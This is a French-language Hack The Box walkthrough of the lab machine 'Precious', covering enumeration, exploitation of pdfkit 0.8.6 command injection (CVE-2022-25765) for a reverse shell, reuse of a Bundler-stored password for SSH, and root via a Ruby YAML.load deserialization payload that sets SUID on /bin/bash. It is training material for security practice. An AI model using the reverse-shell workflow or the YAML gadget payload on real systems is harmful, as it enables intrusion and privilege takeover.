Introduction

Dans ce writeup, tu vas résoudre Precious sur Hack The Box, une machine Linux de difficulté Easy centrée sur une application web de génération de PDF.

La prise de pied repose sur une fonctionnalité exposée par l’application : la conversion d’une page web en PDF. En analysant le fichier généré, tu identifies l’utilisation de pdfkit 0.8.6, une version vulnérable permettant une injection de commande. Cette faille permet d’obtenir un premier accès sur la machine avec l’utilisateur ruby.

La suite de l’exploitation consiste à fouiller l’environnement local de cet utilisateur afin de retrouver des identifiants stockés dans la configuration Bundler. Ces identifiants permettent ensuite une connexion SSH avec l’utilisateur henry.

L’escalade de privilèges s’appuie sur un droit sudo mal maîtrisé : henry peut exécuter en root un script Ruby qui charge un fichier dependencies.yml avec YAML.load. En contrôlant ce fichier, tu peux provoquer l’exécution d’une commande système, poser le bit SUID sur /bin/bash, puis obtenir un shell root avec bash -p.

Ce walkthrough Precious.htb met donc l’accent sur une chaîne d’exploitation classique mais très pédagogique : identification d’une technologie vulnérable, injection de commande, récupération d’identifiants locaux, puis abus d’une désérialisation Ruby via YAML pour terminer l’escalade de privilèges.


Énumération

Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.

Concrètement, l’objectif de cette phase d’énumération est d’identifier :

  • quels ports sont ouverts
  • quels services sont accessibles
  • si une application web est présente
  • quels répertoires sont exposés
  • si des sous-domaines ou vhosts peuvent être exploités

Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :

  • mon-nmap : identifie les ports ouverts et les services en écoute
  • mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
  • mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts

Tu retrouves ces outils dans la section Outils / Mes scripts.

Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.

Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :

/usr/share/wordlists/htb-dns-vh-5000.txt

Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box.


Avant de lancer les scans, vérifie que le nom d’hôte precious.htb résout correctement vers l’adresse IP de la cible.

Sur HTB, cela passe généralement par une entrée dans /etc/hosts.

  • Ajoute l’entrée 10.129.x.x precious.htb dans /etc/hosts.
sudo nano /etc/hosts
  • Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap precious.htb

# Résultats dans le répertoire scans_nmap/
#  - scans_nmap/full_tcp_scan.txt
#  - scans_nmap/enum_ftp_smb_scan.txt
#  - scans_nmap/aggressive_vuln_scan.txt
#  - scans_nmap/cms_vuln_scan.txt
#  - scans_nmap/udp_vuln_scan.txt

Scan initial

Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/full_tcp_scan.txt precious.htb
Nmap scan report for precious.htb (10.129.x.x)
Host is up (0.0097s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at [date] -- 1 IP address (1 host up) scanned in 8.16 seconds

Scan FTP/SMB (si services détectés)

Après le scan initial, le script enchaîne automatiquement avec une phase d’énumération ciblée FTP/SMB si l’un des services suivants est détecté :

  • FTP sur le port 21
  • SMB sur le port 139 et/ou 445

Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :

# mon-nmap — ENUM FTP / SMB
# Target : precious.htb
# Date   : [date]

Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80

Scan agressif

Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.

Ce scan fournit des informations détaillées sur les services et versions détectés.

Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :

[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour precious.htb
[+] Commande utilisée :
    nmap -Pn -A -sV -p"22,80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "precious.htb"

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed) and not (http-vuln-cve2017-1001000 or http-sql-injection or ssl-cert or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/aggressive_vuln_scan_raw.txt precious.htb
Nmap scan report for precious.htb (10.129.x.x)
Host is up (0.0088s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   56.95 ms 10.10.x.1
2   7.24 ms  precious.htb (10.129.x.x)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 12.02 seconds

Scan ciblé CMS

Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt precious.htb
Nmap scan report for precious.htb (10.129.x.x)
Host is up (0.014s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1
|     /stylesheets/
|       css: 1
|   Longest directory structure:
|     Depth: 1
|     Dir: /stylesheets/
|   Total files found (by extension):
|_    Other: 1; css: 1
|_http-devframework: RoR detected. Found 'passenger' in x-powered-by header sent by the server.
|_http-title: Convert Web Page to PDF
| http-headers: 
|   Content-Type: text/html;charset=utf-8
|   Content-Length: 483
|   Connection: close
|   Status: 200 OK
|   X-XSS-Protection: 1; mode=block
|   X-Content-Type-Options: nosniff
|   X-Frame-Options: SAMEORIGIN
|   Date: Fri, 05 Jun 2026 14:02:57 GMT
|   X-Powered-By: Phusion Passenger(R) 6.0.15
|   Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|   X-Runtime: Ruby
|   
|_  (Request type: HEAD)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-server-header: 
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 37.67 seconds

Scan UDP rapide

Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt).

# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt precious.htb
Nmap scan report for precious.htb (10.129.x.x)
Host is up (0.013s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   open|filtered microsoft-ds
500/udp   closed        isakmp
514/udp   closed        syslog
520/udp   open|filtered route
631/udp   closed        ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown

# Nmap done at [date] -- 1 IP address (1 host up) scanned in 9.62 seconds

Énumération des chemins web

Pour la découverte des chemins web, tu peux utiliser le script dédié mon-recoweb

mon-recoweb precious.htb

# Résultats dans le répertoire scans_recoweb/
#  - scans_recoweb/RESULTS_SUMMARY.txt     ← vue d’ensemble des découvertes
#  - scans_recoweb/dirb.log
#  - scans_recoweb/dirb_hits.txt
#  - scans_recoweb/ffuf_dirs.txt
#  - scans_recoweb/ffuf_dirs_hits.txt
#  - scans_recoweb/ffuf_files.txt
#  - scans_recoweb/ffuf_files_hits.txt
#  - scans_recoweb/ffuf_dirs.json
#  - scans_recoweb/ffuf_files.json

Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, ce qui évite de devoir parcourir l’ensemble des logs générés.

===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script              : mon-recoweb v2.2.3

Cible        : precious.htb
Périmètre    : /
Date début   : [date]

Commandes exécutées (exactes) :

[dirb — découverte initiale]
dirb http://precious.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/precious.htb/dirb.log

[ffuf — énumération des répertoires]
ffuf -u http://precious.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/precious.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/precious.htb/ffuf_dirs.log

[ffuf — énumération des fichiers]
ffuf -u http://precious.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/precious.htb/ffuf_files.json 2>&1 | tee scans_recoweb/precious.htb/ffuf_files.log

Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
    http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
    • répertoires (/chemin/)
    • fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
  garantissant la reproductibilité complète du scan.

----------------------------------------------------

=== Résultat global (agrégé) ===

http://precious.htb/. (CODE:200|SIZE:483)

=== Détails par outil ===

[DIRB]

[FFUF — DIRECTORIES]

[FFUF — FILES]
http://precious.htb/. (CODE:200|SIZE:483)

Recherche de vhosts

Enfin, tu peux tester la présence de vhosts à l’aide du script mon-subdomains .

=== mon-subdomains precious.htb START ===
Script       : mon-subdomains
Version      : mon-subdomains 2.0.1
Date         : [date]
Domaine      : precious.htb
IP           : 10.129.x.x
Mode         : large
Master       : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes        : 200,301,302,401,403  (strict=1)

VHOST totaux : 0
  - (aucun)

--- Détails par port ---
Port 80 (http)
  Baseline#1: code=302 size=145 words=9 (Host=5w68t85kgc.precious.htb)
  Baseline#2: code=302 size=145 words=9 (Host=960v0izgke.precious.htb)
  Baseline#3: code=302 size=145 words=9 (Host=2erg4e23nd.precious.htb)
  After-redirect#1: code=200 size=483 words=42
  After-redirect#2: code=200 size=483 words=42
  After-redirect#3: code=200 size=483 words=42
  VHOST (0)
    - (aucun)



=== mon-subdomains precious.htb END ===

Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.

Prise pied

Vérification du fonctionnement de la génération PDF

La page d’accueil expose une fonctionnalité simple : convertir une page web en PDF.

Page d’accueil de l’application Precious

Avant de chercher une vulnérabilité, tu vérifies d’abord le comportement normal de l’application.

L’idée est de fournir à l’application une URL contrôlée depuis Kali, afin de confirmer qu’elle vient bien récupérer le contenu distant avant de générer le PDF.

Sur Kali, tu crées un fichier de test très simple :

echo 'test de connexion vers kali' > test.txt

Tu démarres ensuite un serveur HTTP local dans le répertoire courant :

python3 -m http.server 8000

Dans le formulaire de l’application, tu indiques l’URL du fichier hébergé sur Kali :

http://10.10.x.x:8000/test.txt

URL Kali fournie à l’application Precious

L’application génère un PDF contenant le texte récupéré depuis Kali.

PDF généré à partir du fichier test.txt

Cette étape confirme deux choses importantes :

  • la cible peut joindre ton serveur HTTP Kali ;
  • l’application récupère bien le contenu fourni dans le champ URL avant de le convertir en PDF.

Identification de pdfkit 0.8.6

Le PDF généré est enregistré localement dans le dossier Downloads de Kali. Tu peux alors inspecter ses métadonnées avec exiftool :

cd ~/Downloads
exiftool q4o0kbdsmmbmbrhhmp7ed6jts2w1oz0z.pdf

Résultat :

ExifTool Version Number         : 13.55
File Name                       : q4o0kbdsmmbmbrhhmp7ed6jts2w1oz0z.pdf
Directory                       : .
File Size                       : 11 kB
File Modification Date/Time     : 2026:06:09 11:07:51+02:00
File Access Date/Time           : 2026:06:09 11:07:51+02:00
File Inode Change Date/Time     : 2026:06:09 11:07:51+02:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

La ligne importante est la suivante :

Creator                         : Generated by pdfkit v0.8.6

Elle indique que l’application utilise pdfkit v0.8.6 pour générer les PDF.

Cette information donne une piste concrète pour la suite : tu peux maintenant vérifier si pdfkit 0.8.6 est associé à une vulnérabilité connue.

Recherche d’une vulnérabilité connue dans pdfkit

La version pdfkit v0.8.6 étant maintenant identifiée, tu peux rechercher une vulnérabilité correspondant à cette version.

Tu effectues une recherche Google avec les termes suivants :

pdfkit 0.8.6 exploit github poc -precious

Le filtre -precious exclut les résultats contenant le nom de la machine, afin d’éviter les writeups, walkthroughs ou solutions déjà publiés.

Recherche Google de CVE-2022-25765 pour pdfkit 0.8.6 en excluant Precious

La recherche fait ressortir CVE-2022-25765, une vulnérabilité de type command injection affectant pdfkit.

Parmi les dépôts identifiés, celui-ci fournit un PoC exploitable pour tester la vulnérabilité dans le contexte du CTF :

https://github.com/nikn0laty/PDFkit-CMD-Injection-CVE-2022-25765.git

Exploitation de CVE-2022-25765

Tu récupères ensuite le dépôt :

git clone https://github.com/nikn0laty/PDFkit-CMD-Injection-CVE-2022-25765.git
cd PDFkit-CMD-Injection-CVE-2022-25765

Avant d’exécuter l’exploit, tu ouvres un listener sur Kali :

rlwrap nc -lvnp 4444

Dans un second terminal, tu lances l’exploit en indiquant l’URL de la cible, ton IP VPN et le port d’écoute :

python3 CVE-2022-25765.py -t http://precious.htb -a 10.10.x.x -p 4444

Réponse :

[*] Input target address is http://precious.htb
[*] Input address for reverse connect is 10.10.x.x
[*] Input port is 4444
[!] Run the shell... Press Ctrl+C after successful connection

Côté listener, tu reçois une connexion depuis la cible :

connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 55376
bash: cannot set terminal process group (678): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$

La prise de pied est réussie : tu obtiens un shell sur la machine en tant que l’utilisateur ruby.

Stabilisation du shell ruby

Le shell obtenu est fonctionnel, mais il reste limité : pas de contrôle des jobs, comportement parfois instable avec certaines commandes interactives, et confort d’utilisation réduit.

Tu peux alors le stabiliser avec la méthode habituelle décrite dans la recette dédiée « Stabiliser un Reverse Shell Bash »

Depuis le shell ruby, tu lances d’abord un pseudo-terminal Python :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Tu mets ensuite le shell en arrière-plan avec Ctrl+Z, puis tu ajustes le terminal côté Kali :

stty raw -echo; fg

Après le retour dans le shell distant, tu réinitialises l’affichage :

reset

Tu peux ensuite définir un type de terminal plus confortable :

export TERM=xterm

Le prompt reste celui de l’utilisateur ruby, mais le shell est maintenant plus agréable à utiliser pour la suite de l’exploration locale :

ruby@precious:/var/www/pdfapp$

Exploration de l’environnement de l’utilisateur ruby

Après l’exploitation de pdfkit, tu obtiens un shell sur la cible en tant que l’utilisateur ruby. Ce premier accès confirme la prise de pied, mais il faut maintenant comprendre l’environnement local avant de chercher une progression vers un autre compte ou une escalade de privilèges.

Tu commences par vérifier l’utilisateur courant, les groupes associés, le nom de la machine et le répertoire dans lequel le shell arrive :

whoami
id
hostname
pwd
ruby
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
precious
/var/www/pdfapp

Le shell s’exécute dans le répertoire de l’application web :

/var/www/pdfapp

Ensuite, tu regardes les répertoires personnels présents sur la machine :

ls -la /home

Cette commande révèle deux comptes locaux :

henry
ruby

Le compte ruby correspond à l’utilisateur obtenu grâce à l’exploitation web. Le compte henry est donc un autre utilisateur local potentiellement intéressant.

Tu inspectes alors le répertoire personnel de henry pour voir ce qu’il contient et quelles permissions sont appliquées :

ls -la /home/henry

Résultat :

drwxr-xr-x 2 henry henry 4096 Oct 26  2022 .
drwxr-xr-x 4 root  root  4096 Oct 26  2022 ..
lrwxrwxrwx 1 root  root     9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26  2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26  2022 .bashrc
-rw-r--r-- 1 henry henry  807 Sep 26  2022 .profile
-rw-r----- 1 root  henry   33 Jun  9 03:44 user.txt

Le fichier user.txt est bien présent dans /home/henry, mais il n’est pas lisible directement par l’utilisateur ruby. Il appartient à root et au groupe henry, avec des permissions limitées.

À ce stade, l’objectif devient plus clair : trouver une information permettant de passer de ruby à henry.

Comme l’accès actuel est lié à une application Ruby, les fichiers de configuration, les répertoires personnels, l’application web, /opt et les sauvegardes sont de bons emplacements à examiner.

Recherche d’informations liées à l’utilisateur henry

Comme henry est l’utilisateur à atteindre, tu recherches des références à ce nom dans les fichiers accessibles à ruby.

Tu limites d’abord la recherche aux emplacements les plus intéressants : les homes utilisateurs, l’application web, /opt et les sauvegardes.

find /home /var/www /opt /var/backups -type f -readable 2>/dev/null -exec grep -Hni "henry" {} \;

Résultat :

/home/ruby/.bundle/config:2:BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Le fichier contient des identifiants associés à l’utilisateur henry.

henry:Q3c1AqGHtoI0aXAYFH

Tu peux donc tenter une connexion SSH avec ce mot de passe.

Connexion SSH avec l’utilisateur henry

Depuis Kali, tu testes les identifiants trouvés :

ssh henry@precious.htb

Mot de passe :

Q3c1AqGHtoI0aXAYFH

Après authentification, tu vérifies l’utilisateur courant :

whoami
id

Résultat :

henry
uid=1000(henry) gid=1000(henry) groups=1000(henry)

user.txt

Tu peux maintenant lire le flag utilisateur :

cat user.txt
b66cxxxxxxxxxxxxxxxxxxxxxxxx1c0c

La lecture de user.txt confirme la fin de la phase Prise pied : tu disposes maintenant d’un accès utilisateur valide sur la cible en tant que henry.

Tu peux maintenant passer à l’escalade de privilèges.

Escalade de privilèges

Une fois connecté en SSH en tant que henry, tu disposes d’un premier accès utilisateur sur la machine.

L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root.

Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique :

  • vérification des droits sudo avec sudo -l afin d’identifier des commandes exécutables avec les privilèges root
  • recherche de binaires SUID avec find / -perm -4000 2>/dev/null (les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root)
  • analyse des Linux capabilities avec
    • getcap -r / 2>/dev/null
    • python3 suid3num.py afin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins
  • inspection des tâches cron avec cat /etc/crontab afin de repérer d’éventuels scripts ou commandes exécutés automatiquement par root
  • analyse des services locaux avec netstat -tulpn pour identifier d’éventuels services internes accessibles uniquement en local
  • observation des processus exécutés par root avec pspy64 (dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement

L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root.

Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser.

Vérification des droits sudo

Depuis la session SSH de l’utilisateur henry, tu commences par vérifier les commandes exécutables avec sudo :

sudo -l

Résultat :

Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

L’utilisateur henry peut donc exécuter le script Ruby /opt/update_dependencies.rb en tant que root, sans mot de passe :

sudo /usr/bin/ruby /opt/update_dependencies.rb

Ce script devient le point d’entrée de l’escalade de privilèges.

Analyse du script Ruby

Tu lis ensuite le contenu du script :

cat /opt/update_dependencies.rb

Résultat :

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

La ligne importante est celle-ci :

YAML.load(File.read("dependencies.yml"))

Le script charge un fichier nommé dependencies.yml sans chemin absolu. Il ne lit donc pas forcément un fichier situé dans /opt, mais le fichier dependencies.yml présent dans le répertoire courant au moment de l’exécution.

Comme le script est lancé avec les droits root, un fichier dependencies.yml contrôlé peut devenir exploitable.

Recherche d’un payload YAML Ruby générique

À ce stade, tu sais que le script utilise YAML.load sur un fichier dependencies.yml contrôlé depuis le répertoire courant.

La recherche doit rester générique et ne pas viser directement la machine Precious, afin d’éviter les solutions déjà publiées du challenge. L’objectif est de comprendre le mécanisme Ruby, pas de chercher un writeup.

Une recherche pertinente est par exemple :

ruby YAML.load system command

Recherche Google d’un payload Ruby YAML.load générique pour comprendre l’exécution de commande via désérialisation YAML

Cette recherche permet de trouver l’article générique Universal RCE with Ruby YAML.load (versions > 2.7) publié par Staaldraad, sans passer par une solution dédiée à Precious.

L’article présente un payload YAML Ruby générique utilisant YAML.load et indique que la commande à exécuter se place dans l’entrée git_set.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

Préparation d’un répertoire de travail

/var/tmp est moins susceptible d’être nettoyé pendant la session que /tmp ou /dev/shm.

cd /var/tmp

Tu crées ensuite un fichier dependencies.yml. Ce fichier contiendra d’abord un payload YAML Ruby avec une commande simple de validation, puis le même payload adapté avec la commande définitive permettant d’obtenir un accès root.

nano dependencies.yml

Test de YAML.load avec une commande simple

Le script utilise YAML.load, qui peut désérialiser des objets Ruby complexes. Dans ce contexte, tu peux utiliser un payload YAML générique pour Ruby afin de déclencher l’exécution d’une commande système.

Pour commencer proprement, tu testes avec une commande non destructive :

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id > /var/tmp/cracked.txt
         method_id: :resolve

La partie importante est :

git_set: id > /var/tmp/cracked.txt

Cette commande permet de vérifier si l’exécution se fait bien avec les droits root.

Tu lances ensuite le script autorisé par sudo, en restant bien dans /var/tmp :

sudo /usr/bin/ruby /opt/update_dependencies.rb

Puis tu vérifies le contenu du fichier créé :

cat /var/tmp/cracked.txt

Résultat attendu :

uid=0(root) gid=0(root) groups=0(root)

La commande id a bien été exécutée avec les droits root.

Exploitation avec un Bash SUID

Après avoir validé l’exécution de commande, tu remplaces la commande de test par une commande permettant d’obtenir un shell root.

Dans dependencies.yml, tu remplaces :

git_set: id > /var/tmp/cracked.txt

par :

git_set: chmod +s /bin/bash

Le bit SUID permet à /bin/bash de conserver les privilèges effectifs du propriétaire du fichier, ici root, à condition de le lancer avec l’option -p.

Tu relances ensuite le script autorisé par sudo, en restant dans /var/tmp :

sudo /usr/bin/ruby /opt/update_dependencies.rb

Puis tu vérifies les permissions de /bin/bash :

ls -l /bin/bash

Résultat attendu :

-rwsr-sr-x 1 root root ... /bin/bash

Le s sur le bit d’exécution du propriétaire indique que le bit SUID est actif.

Tu peux maintenant lancer Bash en conservant les privilèges effectifs de root :

bash -p

Tu vérifies ton identité :

id

Résultat attendu :

uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)

Le point important est :

euid=0(root)

Le shell s’exécute avec les privilèges effectifs de root.

Lecture du flag root

Il ne reste plus qu’à lire le flag final :

cat /root/root.txt
108axxxxxxxxxxxxxxxxxxxxxxxxca68

L’obtention d’un shell avec euid=0(root) confirme le contrôle root de la machine. La lecture de root.txt marque la fin de l’escalade de privilèges et du challenge CTF.

Conclusion

La machine Precious.htb illustre une chaîne d’exploitation courte, mais très formatrice.

La prise de pied commence par une fonctionnalité web apparemment simple : la génération d’un PDF à partir d’une URL. L’analyse du fichier généré permet d’identifier pdfkit 0.8.6, puis d’exploiter une injection de commande pour obtenir un premier accès sur la machine avec l’utilisateur ruby.

La progression repose ensuite sur une étape classique en post-exploitation : examiner les fichiers accessibles à l’utilisateur courant. La recherche de références à henry permet de retrouver des identifiants locaux dans la configuration Bundler, puis de les réutiliser pour ouvrir une session SSH avec cet utilisateur.

L’escalade de privilèges montre enfin l’importance de vérifier systématiquement les droits sudo. Ici, henry peut exécuter en root un script Ruby qui charge un fichier dependencies.yml avec YAML.load. En contrôlant ce fichier depuis /var/tmp, tu peux provoquer l’exécution d’une commande système, poser le bit SUID sur /bin/bash, puis obtenir un shell root avec bash -p.

Precious est donc une bonne machine pour consolider plusieurs réflexes essentiels : analyser les métadonnées d’un fichier généré, identifier une version vulnérable, rechercher des identifiants lisibles localement, puis exploiter prudemment un droit sudo mal configuré. Une fois le shell root obtenu et root.txt lu, le challenge CTF est terminé.